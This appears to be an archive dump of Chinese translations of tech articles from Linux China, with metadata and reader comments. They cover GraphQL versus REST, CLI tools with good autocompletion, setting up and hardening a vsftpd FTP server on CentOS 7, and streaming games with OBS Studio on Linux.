场景：呈现一个博客文章页面。它应该包含关于作者（email）、博客文章（标题、正文）、所有评论（标题、正文）以及评论人是否关注博客文章作者的信息。*图1* 和 *图2* 显示了客户端 SPA、API 服务器以及数据库之间的交互，一个是 REST API、另一个对应是 GraphQL API。
```
+------+ +------+ +--------+
|client| |server| |database|
+--+---+ +--+---+ +----+---+
| GET /blogs/:id | |
1\. +-------------------------> SELECT * FROM blogs... |
| +--------------------------->
| <---------------------------+
<-------------------------+ |
| | |
| GET /users/:id | |
2\. +-------------------------> SELECT * FROM users... |
| +--------------------------->
| <---------------------------+
<-------------------------+ |
| | |
| GET /blogs/:id/comments | |
3\. +-------------------------> SELECT * FROM comments... |
| +--------------------------->
| <---------------------------+
<-------------------------+ |
| | |
| GET /users/:id/followers| |
4\. +-------------------------> SELECT * FROM followers.. |
| +--------------------------->
| <---------------------------+
<-------------------------+ |
| | |
+ + +
```
*图1*
```
+------+ +------+ +--------+
|client| |server| |database|
+--+---+ +--+---+ +----+---+
| GET /graphql | |
1\. +-------------------------> SELECT * FROM blogs... |
| +--------------------------->
| <---------------------------+
| | |
| | |
| | |
2\. | | SELECT * FROM users... |
| +--------------------------->
| <---------------------------+
| | |
| | |
| | |
3\. | | SELECT * FROM comments... |
| +--------------------------->
| <---------------------------+
| | |
| | |
| | |
4\. | | SELECT * FROM followers.. |
| +--------------------------->
| <---------------------------+
<-------------------------+ |
| | |
+ + +
```
*图2*
*列表5* 是一条用于获取所有呈现博文所需数据的简单 GraphQL 查询。
```
{
user(id: 1) {
email
followers
post(id: 1) {
title
body
comments {
id
title
user {
id
email
}
}
}
}
}
```
*列表5*
对于这种情况，对数据库的查询次数是故意相同的，但是到 API 服务器的 HTTP 请求已经减少到只有一个。我们认为在这种类型的应用程序中通过互联网的 HTTP 请求是最昂贵的。
为了利用 GraphQL 的优势，后端并不需要进行特别设计，从 REST 到 GraphQL 的转换可以逐步完成。这使得可以测量性能提升和优化。从这一点，API 设计者可以开始优化（潜在的合并） SQL 查询从而提高性能。缓存的机会在数据库和 API 级别都大大增加。
SQL 之上的抽象（例如 ORM 层）通常会和 `n+1` 问题相抵触。在 REST 示例的步骤 4 中，客户端可能不得不在单独的请求中为每个评论的作者请求关注状态。这是因为在 REST 中没有标准的方式来表达两个以上资源之间的关系，而 GraphQL 旨在通过使用嵌套查询来防止这类问题。这里我们通过获取用户的所有关注者来作弊。我们向客户提出了如何确定评论并关注了作者的用户的逻辑。
另一个区别是获取比客户端所需更多的数据，以免破坏 REST 资源抽象。这对于用于解析和存储不需要数据的带宽消耗和电池寿命非常重要。
### 总结
GraphQL 是 REST 的一个可用替代方案，因为：
* 尽管设计 API 更加困难，但该过程可以逐步完成。也是由于这个原因，从 REST 转换到 GraphQL 非常容易，两个流程可以没有任何问题地共存。
* 在网络请求方面更加高效，即使是类似本博客中的简单实现。它还提供了更多查询优化和结果缓存的机会。
* 在用于解析结果的带宽消耗和 CPU 周期方面它更加高效，因为它只返回呈现页面所需的数据。
REST 仍然非常有用，如果：
* 你的 API 非常简单，只有少量的资源或者资源之间关系简单。
* 在你的组织中已经在使用 REST API，而且你已经配置好了所有工具，或者你的客户希望获取 REST API。
* 你有复杂的 ACL（LCTT 译注：Access Control List） 策略。在博客例子中，可能的功能是允许用户良好地控制谁能查看他们的电子邮箱、博客、特定博客的评论、他们关注了谁，等等。优化数据获取同时检查复杂的业务规则可能会更加困难。
### 附录1：图数据库和高效数据存储
尽管将其应用领域数据想象为一个图非常直观，正如这篇博文介绍的那样，但是支持这种接口的高效数据存储问题仍然没有解决。
近年来图数据库变得越来越流行。通过将 GraphQL 查询转换为特定的图数据库查询语言从而延迟解决请求的复杂性似乎是一种可行的方案。
问题是和关系型数据库相比，图并不是一种高效的数据结构。图中一个顶点可能有到任何其它顶点的连接，访问模式比较难以预测因此提供了较少的优化机会。
例如缓存的问题，为了快速访问需要将哪些顶点保存在内存中？通用缓存算法在图遍历场景中可能没那么高效。
数据库分片问题：把数据库切分为更小、没有交叉的数据库并保存到独立的硬件。在学术上，最小切割的图划分问题已经得到了很好的理解，但可能是次优的，而且由于病态的最坏情况可能导致高度不平衡切割。
在关系型数据库中，数据被建模为记录（行或者元组）和列，表和数据库名称都只是简单的命名空间。大部分数据库都是面向行的，意味着每个记录都是一个连续的内存块，一个表中的所有记录在磁盘上一个接一个地整齐地打包（通常按照某个关键列排序）。这非常高效，因为这是物理存储最优的工作方式。HDD 最昂贵的操作是将磁头移动到磁盘上的另一个扇区，因此最小化此类访问非常重要。
很有可能如果应用程序对一条特定记录感兴趣，它需要获取整条记录，而不仅仅是记录中的其中一列。也很有可能如果应用程序对一条记录感兴趣，它也会对该记录周围的记录感兴趣，例如全表扫描。这两点使得关系型数据库相当高效。然而，也是因为这个原因，关系型数据库的最差使用场景就是总是随机访问所有数据。图数据库正是如此。
随着支持更快随机访问的 SSD 驱动器的出现，更便宜的内存使得缓存大部分图数据库成为可能，更好的优化图缓存和分区的技术，图数据库开始成为可选的存储解决方案。大部分大公司也使用它：Facebook 有 Social Graph，Google 有 Knowledge Graph。
---
via: <http://alexandrutopliceanu.ro/post/graphql-with-go-and-postgresql>
作者：[Alexandru Topliceanu](https://github.com/topliceanu) 译者：[ictlyh](https://github.com/ictlyh) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
4 个拥有绝佳命令行界面的终端程序
|
Amjith Ramanujam
|
https://opensource.com/article/17/5/4-terminal-apps
|
pgcli 和 mycli 的作者为你介绍几个精心设计的 CLI 程序，以及如何解决一些可发现性问题。
|
/data/attachment/album/201705/20/120427n325ehm22bibw3j2.jpg.thumb.jpg
|
/data/attachment/album/201705/20/120427n325ehm22bibw3j2.jpg
| true | false | true |
geekpi
| true |
[
"命令行",
"CLI"
] |
技术
|
{
"viewnum": 15413,
"commentnum": 8,
"favtimes": 6,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.14.31.253",
"message": "超喜欢补全，这能极大的提高我的工作效率。",
"username": "何亮 [Chrome 58.0|Windows 7]",
"date": "2017-05-20T16:05:10"
},
{
"postip": "119.123.12.221",
"message": "大大提高工作效率呢",
"username": "hello_linux [Chrome 51.0|Windows 7]",
"date": "2017-05-20T19:41:21"
},
{
"postip": "183.148.84.178",
"message": "不错不错",
"username": "来自浙江台州的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-21T07:54:47"
},
{
"postip": "113.99.102.28",
"message": "mycli 一执行 drop database xxxx就挂了，果然还是workbench靠谱",
"username": "来自广东深圳的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-23T14:41:51"
},
{
"postip": "113.57.28.44",
"message": "很强大",
"username": "来自湖北武汉的 Chrome Mobile 40.0|Android 4.4 用户",
"date": "2017-05-23T22:31:37"
},
{
"postip": "218.20.54.93",
"message": "看不懂",
"username": "来自广东广州的 Chrome 55.0|Windows 7 用户",
"date": "2020-12-12T21:00:00"
},
{
"postip": "218.20.54.93",
"message": "看不懂",
"username": "来自广东广州的 Chrome 55.0|Windows 7 用户",
"date": "2020-12-12T21:00:02"
},
{
"postip": "218.20.54.93",
"message": "看不懂",
"username": "来自广东广州的 Chrome 55.0|Windows 7 用户",
"date": "2020-12-12T21:00:03"
}
] |
[
{
"raid": 8561,
"displayorder": 0
},
{
"raid": 8575,
"displayorder": 0
}
] |
pgcli 和 mycli 的作者为你介绍几个精心设计的 CLI 程序，以及如何解决一些可发现性问题。
| 2017-05-20T12:04:00 | 2017-05-20T12:04:00 | 8,526 |
/article-8526-1.html
|
>
> 让我们来看几个精心设计的 CLI 程序，以及如何解决一些可发现性问题。
>
>
>
在本文中，我会指出命令行界面的<ruby> 可发现性 <rt> discoverability </rt></ruby>缺点以及克服这些问题的几种方法。
我喜欢命令行。我第一次接触命令行是在 1997 的 DOS 6.2 上。我学习了各种命令的语法，并展示了如何在目录中列出隐藏的文件（`attrib`）。我会每次仔细检查命令中的每个字符。 当我犯了一个错误，我会从头开始重新输入命令。直到有一天，有人向我展示了如何使用向上和向下箭头按键遍历命令行历史，我被震惊了。
后来当我接触到 Linux 时，让我感到惊喜的是，上下箭头保留了它们遍历历史记录的能力。我仍然很仔细地打字，但是现在，我了解如何盲打，并且我能打的很快，每分钟可以达到 55 个单词的速度。接着有人向我展示了 tab 补完，再一次改变了我的生活。
在 GUI 应用程序中，菜单、工具提示和图标用于向用户展示功能。而命令行缺乏这种能力，但是有办法克服这个问题。在深入解决方案之前，我会来看看几个有问题的 CLI 程序：
**1、 MySQL**
首先让我们看看我们所钟爱的 MySQL REPL。我经常发现自己在输入 `SELECT * FROM` 然后按 `Tab` 的习惯。MySQL 会询问我是否想看到所有的 871 种可能性。我的数据库中绝对没有 871 张表。如果我选择 `yes`，它会显示一堆 SQL 关键字、表、函数等。（LCTT 译注：REPL —— Read-Eval-Print Loop，交互式开发环境）
**2、 Python**
我们来看另一个例子，标准的 Python REPL。我开始输入命令，然后习惯按 `Tab` 键。瞧，插入了一个 `Tab` 字符，考虑到 `Tab` 在 Python 源代码中没有特定作用，这是一个问题。
### 好的用户体验
让我看下设计良好的 CLI 程序以及它们是如何克服这些可发现性问题的。
#### 自动补全： bpython
[Bpython](https://bpython-interpreter.org/) 是对 Python REPL 的一个很好的替代。当我运行 bpython 并开始输入时，建议会立即出现。我没用通过特殊的键盘绑定触发它，甚至没有按下 `Tab` 键。
当我出于习惯按下 `Tab` 键时，它会用列表中的第一个建议补全。这是给 CLI 设计带来可发现性性的一个很好的例子。
bpython 的另一个方面是可以展示模块和函数的文档。当我输入一个函数的名字时，它会显示这个函数附带的签名以及文档字符串。这是一个多么令人难以置信的周到设计啊。
#### 上下文感知补全：mycli
[mycli](http://mycli.net/) 是默认的 MySQL 客户端的现代替代品。这个工具对 MySQL 来说就像 bpython 之于标准 Python REPL 一样。mycli 将在你输入时自动补全关键字、表名、列和函数。
补全建议是上下文相关的。例如，在 `SELECT * FROM` 之后，只有来自当前数据库的表才会列出，而不是所有可能的关键字。
#### 模糊搜索和在线帮助： pgcli
如果您正在寻找 PostgreSQL 版本的 mycli，请看看 [pgcli](http://pgcli.com/)。 与 mycli 一样，它提供了上下文感知的自动补全。菜单中的项目使用模糊搜索缩小范围。模糊搜索允许用户输入整体字符串中的任意子字符串来尝试找到正确的匹配项。
pgcli 和 mycli 在其 CLI 中都实现了这个功能。斜杠命令的文档也作为补全菜单的一部分展示。
#### 可发现性: fish
在传统的 Unix shell（Bash、zsh 等）中，有一种搜索历史记录的方法。此搜索模式由 `Ctrl-R` 触发。当再次调用你上周运行过的命令时，例如 **ssh**或 **docker**，这是一个令人难以置信的有用的工具。 一旦你知道这个功能，你会发现自己经常会使用它。
如果这个功能是如此有用，那为什么不每次都搜索呢？这正是 [**fish** shell](https://fishshell.com/) 所做的。一旦你开始输入命令，**fish** 将开始建议与历史记录类似的命令。然后，你可以按右箭头键接受该建议。
### 命令行规矩
我已经回顾了一些解决可发现性的问题的创新方法，但也有一些基本的命令行功能应该作为每个 REPL 所实现基础功能的一部分：
* 确保 REPL 有可通过箭头键调用的历史记录。确保会话之间的历史持续存在。
* 提供在编辑器中编辑命令的方法。不管你的补全是多么棒，有时用户只需要一个编辑器来制作完美的命令来删除生产环境中所有的表。
* 使用分页器（`pager`）来管道输出。不要让用户滚动他们的终端。哦，要为分页器设置个合理的默认值。（记得添加选项来处理颜色代码。）
* 提供一种通过 `Ctrl-R` 界面或者 fish 式的自动搜索来搜索历史记录的方法。
### 总结
在第 2 节中，我将来看看 Python 中使你能够实现这些技术的特定库。同时，请查看其中一些精心设计的命令行应用程序：
* [bpython](http://bpython-interpreter.org/)或 [ptpython](http://github.com/jonathanslenders/ptpython/)：具有自动补全支持的 Python REPL。
* [http-prompt](https://github.com/eliangcs/http-prompt)：交互式 HTTP 客户端。
* [mycli](http://mycli.net/)：MySQL、MariaDB 和 Percona 的命令行界面，具有自动补全和语法高亮。
* [pgcli](http://pgcli.com/)：具有自动补全和语法高亮，是对 [psql](https://www.postgresql.org/docs/9.2/static/app-psql.html) 的替代工具。
* [wharfee](http://wharfee.com/)：用于管理 Docker 容器的 shell。
*了解更多： Amjith Ramanujam 在 5 月 20 日在波特兰俄勒冈州举办的 [PyCon US 2017](https://us.pycon.org/2017/) 上的谈话“[神奇的命令行工具](https://us.pycon.org/2017/schedule/presentation/518/)”。*
---
作者简介：
Amjith Ramanujam - Amjith Ramanujam 是 pgcli 和 mycli 的创始人。人们认为它们很酷，他表示笑纳赞誉。他喜欢用 Python、Javascript 和 C 编程。他喜欢编写简单易懂的代码，它们有时甚至会成功。
---
via: <https://opensource.com/article/17/5/4-terminal-apps>
作者：[Amjith Ramanujam](https://opensource.com/users/amjith) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
完全指南：如何在 CentOS 7 中安装、配置和安全加固 FTP 服务
|
Aaron Kili
|
http://www.tecmint.com/install-ftp-server-in-centos-7/
|
FTP（文件传输协议）是一种用于通过网络在服务器和客户端之间传输文件的传统并广泛使用的标准工具，特别是在不需要身份验证的情况下（允许匿名用户连接到服务器）。我们必须明白，默认情况下 FTP 是不安全的，因为它不加密传输用户凭据和数据。
|
/data/attachment/album/201705/21/104945ekg94rgk9hi1k2pk.jpg.thumb.jpg
|
/data/attachment/album/201705/21/104945ekg94rgk9hi1k2pk.jpg
| true | false | true |
geekpi
| false |
[
"FTP"
] |
系统运维
|
{
"viewnum": 10254,
"commentnum": 3,
"favtimes": 7,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "160.16.56.139",
"message": "SELinux有加密功能么？好像没听说过啊。",
"username": "泽楠弟弟 [Safari 10.1|Mac 10.12]",
"date": "2017-05-21T13:06:48"
},
{
"postip": "113.107.214.10",
"message": "第9出错，是按照步骤来打的，求解哪里出错了。",
"username": "悠与穹 [Chrome 45.0|Windows 10]",
"date": "2017-05-25T20:23:59"
},
{
"postip": "111.197.252.172",
"message": "你得说什么错误啊？",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-05-25T21:30:59"
}
] |
[
{
"raid": 8312,
"displayorder": 0
},
{
"raid": 8504,
"displayorder": 1
}
] |
FTP（文件传输协议）是一种用于通过网络在服务器和客户端之间传输文件的传统并广泛使用的标准工具，特别是在不需要身份验证的情况下（允许匿名用户连接到服务器）。我们必须明白，默认情况下 FTP 是不安全的，因为它不加密传输用户凭据和数据。
| 2017-05-21T10:49:00 | 2017-05-21T10:49:00 | 8,527 |
/article-8527-1.html
|
FTP（文件传输协议）是一种用于通过网络[在服务器和客户端之间传输文件](http://www.tecmint.com/scp-commands-examples/)的传统并广泛使用的标准工具，特别是在不需要身份验证的情况下（允许匿名用户连接到服务器）。我们必须明白，默认情况下 FTP 是不安全的，因为它不加密传输用户凭据和数据。
在本指南中，我们将介绍在 CentOS/RHEL7 和 Fedora 发行版中安装、配置和保护 FTP 服务器（ VSFTPD 代表 “Very Secure FTP Daemon”）的步骤。
请注意，本指南中的所有命令将以 root 身份运行，如果你不使用 root 帐户操作服务器，请使用 [sudo命令](http://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/) 获取 root 权限。
### 步骤 1：安装 FTP 服务器
1、 安装 vsftpd 服务器很直接，只要在终端运行下面的命令。
```
# yum install vsftpd
```
2、 安装完成后，服务先是被禁用的，因此我们需要手动启动，并设置在下次启动时自动启用：
```
# systemctl start vsftpd
# systemctl enable vsftpd
```
3、 接下来，为了允许从外部系统访问 FTP 服务，我们需要打开 FTP 守护进程监听的 21 端口：
```
# firewall-cmd --zone=public --permanent --add-port=21/tcp
# firewall-cmd --zone=public --permanent --add-service=ftp
# firewall-cmd --reload
```
### 步骤 2： 配置 FTP 服务器
4、 现在，我们会进行一些配置来设置并加密我们的 FTP 服务器，让我们先备份一下原始配置文件 `/etc/vsftpd/vsftpd.conf`：
```
# cp /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.orig
```
接下来，打开上面的文件，并将下面的选项设置相关的值：
```
anonymous_enable=NO ### 禁用匿名登录
local_enable=YES ### 允许本地用户登录
write_enable=YES ### 允许对文件系统做改动的 FTP 命令
local_umask=022 ### 本地用户创建文件所用的 umask 值
dirmessage_enable=YES ### 当用户首次进入一个新目录时显示一个消息
xferlog_enable=YES ### 用于记录上传、下载细节的日志文件
connect_from_port_20=YES ### 使用端口 20 （ftp-data）用于 PORT 风格的连接
xferlog_std_format=YES ### 使用标准的日志格式
listen=NO ### 不要让 vsftpd 运行在独立模式
listen_ipv6=YES ### vsftpd 将监听 IPv6 而不是 IPv4
pam_service_name=vsftpd ### vsftpd 使用的 PAM 服务名
userlist_enable=YES ### vsftpd 支持载入用户列表
tcp_wrappers=YES ### 使用 tcp wrappers
```
5、 现在基于用户列表文件 `/etc/vsftpd.userlist` 来配置 FTP 来允许/拒绝用户的访问。
默认情况下，如果设置了 `userlist_enable=YES`，当 `userlist_deny` 选项设置为 `YES` 的时候，`userlist_file=/etc/vsftpd.userlist` 中列出的用户被拒绝登录。
然而， 更改配置为 `userlist_deny=NO`，意味着只有在 `userlist_file=/etc/vsftpd.userlist` 显式指定的用户才允许登录。
```
userlist_enable=YES ### vsftpd 将从 userlist_file 给出的文件中载入用户名列表
userlist_file=/etc/vsftpd.userlist ### 存储用户名的文件
userlist_deny=NO
```
这并不是全部，当用户登录到 FTP 服务器时，它们会进入 chroot jail 中，这是仅作为 FTP 会话主目录的本地根目录。
接下来，我们将介绍如何将 FTP 用户 chroot 到 FTP 用户的家目录（本地 root）中的两种可能情况，如下所述。
6、 接下来添加下面的选项来限制 FTP 用户到它们自己的家目录。
```
chroot_local_user=YES
allow_writeable_chroot=YES
```
`chroot_local_user=YES` 意味着用户可以设置 chroot jail，默认是登录后的家目录。
同样默认的是，出于安全原因，vsftpd 不会允许 chroot jail 目录可写，然而，我们可以添加 `allow_writeable_chroot=YES` 来覆盖这个设置。
保存并关闭文件。
### 步骤 3： 用 SELinux 加密 FTP 服务器
7、现在，让我们设置下面的 SELinux 布尔值来允许 FTP 能读取用户家目录下的文件。请注意，这原本是使用以下命令完成的：
```
# setsebool -P ftp_home_dir on
```
然而，由于这个 bug 报告：<https://bugzilla.redhat.com/show_bug.cgi?id=1097775>，`ftp_home_dir` 指令默认是禁用的。
现在，我们会使用 `semanage` 命令来设置 SELinux 规则来允许 FTP 读取/写入用户的家目录。
```
# semanage boolean -m ftpd_full_access --on
```
这时，我们需要重启 vsftpd 来使目前的设置生效：
```
# systemctl restart vsftpd
```
### 步骤 4： 测试 FTP 服务器
8、 现在我们会用 [useradd 命令](http://www.tecmint.com/add-users-in-linux/)创建一个 FTP 用户来测试 FTP 服务器。
```
# useradd -m -c “Ravi Saive, CEO” -s /bin/bash ravi
# passwd ravi
```
之后，我们如下使用 [echo 命令](http://www.tecmint.com/echo-command-in-linux/)添加用户 ravi 到文件 `/etc/vsftpd.userlist` 中：
```
# echo "ravi" | tee -a /etc/vsftpd.userlist
# cat /etc/vsftpd.userlist
```
9、 现在是时候测试我们上面的设置是否可以工作了。让我们使用匿名登录测试，我们可以从下面的截图看到匿名登录没有被允许。
```
# ftp 192.168.56.10
Connected to 192.168.56.10 (192.168.56.10).
220 Welcome to TecMint.com FTP service.
Name (192.168.56.10:root) : anonymous
530 Permission denied.
Login failed.
ftp>
```
*测试 FTP 匿名登录*
10、 让我们也测试一下没有列在 `/etc/vsftpd.userlist` 中的用户是否有权限登录，下面截图是没有列入的情况：
```
# ftp 192.168.56.10
Connected to 192.168.56.10 (192.168.56.10).
220 Welcome to TecMint.com FTP service.
Name (192.168.56.10:root) : aaronkilik
530 Permission denied.
Login failed.
ftp>
```
*FTP 用户登录失败*
11、 现在最后测试一下列在 `/etc/vsftpd.userlist` 中的用户是否在登录后真的进入了他/她的家目录：
```
# ftp 192.168.56.10
Connected to 192.168.56.10 (192.168.56.10).
220 Welcome to TecMint.com FTP service.
Name (192.168.56.10:root) : ravi
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
```
*用户成功登录*
警告：使用 `allow_writeable_chroot=YES` 有一定的安全隐患，特别是用户具有上传权限或 shell 访问权限时。
只有当你完全知道你正做什么时才激活此选项。重要的是要注意，这些安全性影响并不是 vsftpd 特定的，它们适用于所有提供了将本地用户置于 chroot jail 中的 FTP 守护进程。
因此，我们将在下一节中看到一种更安全的方法来设置不同的不可写本地根目录。
### 步骤 5： 配置不同的 FTP 家目录
12、 再次打开 vsftpd 配置文件，并将下面不安全的选项注释掉：
```
#allow_writeable_chroot=YES
```
接着为用户（`ravi`，你的可能不同）创建另外一个替代根目录，并将所有用户对该目录的可写权限移除：
```
# mkdir /home/ravi/ftp
# chown nobody:nobody /home/ravi/ftp
# chmod a-w /home/ravi/ftp
```
13、 接下来，在用户存储他/她的文件的本地根目录下创建一个文件夹：
```
# mkdir /home/ravi/ftp/files
# chown ravi:ravi /home/ravi/ftp/files
# chmod 0700 /home/ravi/ftp/files/
```
接着在 vsftpd 配置文件中添加/修改这些选项：
```
user_sub_token=$USER ### 在本地根目录下插入用户名
local_root=/home/$USER/ftp ### 定义任何用户的本地根目录
```
保存并关闭文件。再说一次，有新的设置后，让我们重启服务：
```
# systemctl restart vsftpd
```
14、 现在最后在测试一次查看用户本地根目录就是我们在他的家目录创建的 FTP 目录。
```
# ftp 192.168.56.10
Connected to 192.168.56.10 (192.168.56.10).
220 Welcome to TecMint.com FTP service.
Name (192.168.56.10:root) : ravi
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
```
*FTP 用户家目录登录成功*
就是这样了！在本文中，我们介绍了如何在 CentOS 7 中安装、配置以及加密的 FTP 服务器，使用下面的评论栏给我们回复，或者分享关于这个主题的任何有用信息。
**建议阅读：** [在 RHEL/CentOS 7 上安装 ProFTPD 服务器](/article-8504-1.html)
在下一篇文章中，我们还将向你介绍如何在 CentOS 7 中[保护使用 SSL/TLS](http://www.tecmint.com/secure-vsftpd-using-ssl-tls-on-centos/)连接的 FTP 服务器，再此之前，请继续关注 TecMint。
---
作者简介：
Aaron Kili 是一名 Linux 和 F.O.S.S 爱好者，即将从事 Linux 系统管理员和网页开发工作，他日前是 TecMint 技术网站的原创作者，非常喜欢使用电脑工作，坚信分享知识是一种美德。
---
via: <http://www.tecmint.com/install-ftp-server-in-centos-7/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Linux 下当个游戏主播
|
Bill Toulas
|
https://www.howtoforge.com/tutorial/how-to-capture-and-stream-your-gaming-session-on-linux/
|
也许没有那么多铁杆的游戏玩家使用 Linux，但肯定有很多 Linux 用户喜欢玩游戏。如果你是其中之一，并希望向世界展示 Linux 游戏不再是一个笑话，那么你会喜欢下面这个关于如何捕捉并且/或者以流式播放游戏的快速教程。
|
/data/attachment/album/201705/21/162312ik2h552o3hpow2m7.jpg.thumb.jpg
|
/data/attachment/album/201705/21/162312ik2h552o3hpow2m7.jpg
| true | false | true |
geekpi
| false |
[
"游戏",
"OBS"
] |
桌面应用
|
{
"viewnum": 8107,
"commentnum": 4,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "36.149.110.247",
"message": "真是一口老血喷在键盘上。连游戏都不能把这个程序员拉到win平台，我只能说他的人生的娱乐部分已经被Linux毁了。默哀1秒。",
"username": "来自36.149.110.247的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-05-22T23:40:26"
},
{
"postip": "117.139.208.10",
"message": "最好的办法的切换到windows系统当主播",
"username": "来自四川成都的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-27T16:40:19"
},
{
"postip": "223.80.15.76",
"message": "在大陆不怎么适用吧",
"username": "Fa1c0n [Opera 45.0|Windows 10]",
"date": "2017-06-26T19:05:06"
},
{
"postip": "180.167.231.101",
"message": "Minecraft、0 A. D.、Mindustry之类的游戏都可以在Linux上完美运行啊",
"username": "来自上海的 Firefox 116.0|Ubuntu 用户",
"date": "2023-08-16T13:18:31"
}
] |
[] |
也许没有那么多铁杆的游戏玩家使用 Linux，但肯定有很多 Linux 用户喜欢玩游戏。如果你是其中之一，并希望向世界展示 Linux 游戏不再是一个笑话，那么你会喜欢下面这个关于如何捕捉并且/或者以流式播放游戏的快速教程。
| 2017-05-21T16:23:00 | 2017-05-21T16:23:00 | 8,528 |
/article-8528-1.html
|
也许没有那么多铁杆的游戏玩家使用 Linux，但肯定有很多 Linux 用户喜欢玩游戏。如果你是其中之一，并希望向世界展示 Linux 游戏不再是一个笑话，那么你会喜欢下面这个关于如何捕捉并且/或者以流式播放游戏的快速教程。我在这将用一个名为 “[Open Broadcaster Software Studio](https://obsproject.com/download)” 的软件，这可能是我们所能找到最好的一种。
### 捕获设置
在顶层菜单中，我们选择 “File” → “Settings”，然后我们选择 “Output” 来设置要生成的文件的选项。这里我们可以设置想要的音频和视频的比特率、新创建的文件的目标路径和文件格式。这上面还提供了粗略的质量设置。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_1.png)
如果我们将顶部的输出模式从 “Simple” 更改为 “Advanced”，我们就能够设置 CPU 负载，以控制 OBS 对系统的影响。根据所选的质量、CPU 能力和捕获的游戏，可以设置一个不会导致丢帧的 CPU 负载设置。你可能需要做一些试验才能找到最佳设置，但如果将质量设置为低，则不用太多设置。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_2.png)
接下来，我们转到设置的 “Video” 部分，我们可以设置我们想要的输出视频分辨率。注意缩小过滤（downscaling filtering ）方式，因为它使最终的质量有所不同。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_3.png)
你可能还需要绑定热键以启动、暂停和停止录制。这特别有用，这样你就可以在录制时看到游戏的屏幕。为此，请在设置中选择 “Hotkeys” 部分，并在相应的框中分配所需的按键。当然，你不必每个框都填写，你只需要填写所需的。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_4.png)
如果你对流式传输感兴趣，而不仅仅是录制，请选择 “Stream” 分类的设置，然后你可以选择支持的 30 种流媒体服务，包括 Twitch、Facebook Live 和 Youtube，然后选择服务器并输入 流密钥。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_5.png)
### 设置源
在左下方，你会发现一个名为 “Sources” 的框。我们按下加号来添加一个新的源，它本质上就是我们录制的媒体源。在这你可以设置音频和视频源，但是图像甚至文本也是可以的。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_6.png)
前三个是关于音频源，接下来的两个是图像，JACK 选项用于从乐器捕获的实时音频， Media Source 用于添加文件等。这里我们感兴趣的是 “Screen Capture (XSHM)”、“Video Capture Device (V4L2)” 和 “Window Capture (Xcomposite)” 选项。
屏幕捕获选项让你选择要捕获的屏幕（包括活动屏幕），以便记录所有内容。如工作区更改、窗口最小化等。对于标准批量录制来说，这是一个适合的选项，它可在发布之前进行编辑。
我们来探讨另外两个。Window Capture 将让我们选择一个活动窗口并将其放入捕获监视器。为了将我们的脸放在一个角落，视频捕获设备用于人们可以在我们说话时可以看到我们。当然，每个添加的源都提供了一组选项来供我们实现我们最后要的效果。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_7.png)
添加的来源是可以调整大小的，也可以沿着录制帧的平面移动，因此你可以添加多个来源，并根据需要进行排列，最后通过右键单击执行基本的编辑任务。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_8.png)
### 过渡
最后，如果你正在流式传输游戏会话时希望能够在游戏视图和自己（或任何其他来源）之间切换。为此，请从右下角切换为“Studio Mode”，并添加一个分配给另一个源的场景。你还可以通过取消选中 “Duplicate scene” 并检查 “Transitions” 旁边的齿轮图标上的 “Duplicate sources” 来切换。 当你想在简短评论中显示你的脸部时，这很有帮助。
[](https://www.howtoforge.com/images/how-to-capture-and-stream-your-gaming-session-on-linux/big/pic_9.png)
这个软件有许多过渡效果，你可以按中心的 “Quick Transitions” 旁边的加号图标添加更多。当你添加它们时，还将会提示你进行设置。
### 总结
OBS Studio 是一个功能强大的免费软件，它工作稳定，使用起来相当简单直接，并且拥有越来越多的扩展其功能的[附加插件](https://obsproject.com/forum/resources/categories/obs-studio-plugins.6/)。如果你需要在 Linux 上记录并且/或者流式传输游戏会话，除了使用 OBS 之外，我无法想到其他更好的解决方案。你有其他类似工具的经验么？ 请在评论中分享也欢迎包含一个展示你技能的视频链接。:)
---
via: <https://www.howtoforge.com/tutorial/how-to-capture-and-stream-your-gaming-session-on-linux/>
作者：[Bill Toulas](https://www.howtoforge.com/tutorial/how-to-capture-and-stream-your-gaming-session-on-linux/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
5 个提升你开源项目贡献者基数的方法
|
Kushal Das
|
https://opensource.com/article/17/1/expand-project-contributor-base
|
就像任何事物都是有寿命的，增长既是开源项目成功的标志，也是开源项目成功的来源。那么项目领导者和维护者如何激励贡献者基数的增长？这里有五种方法。
|
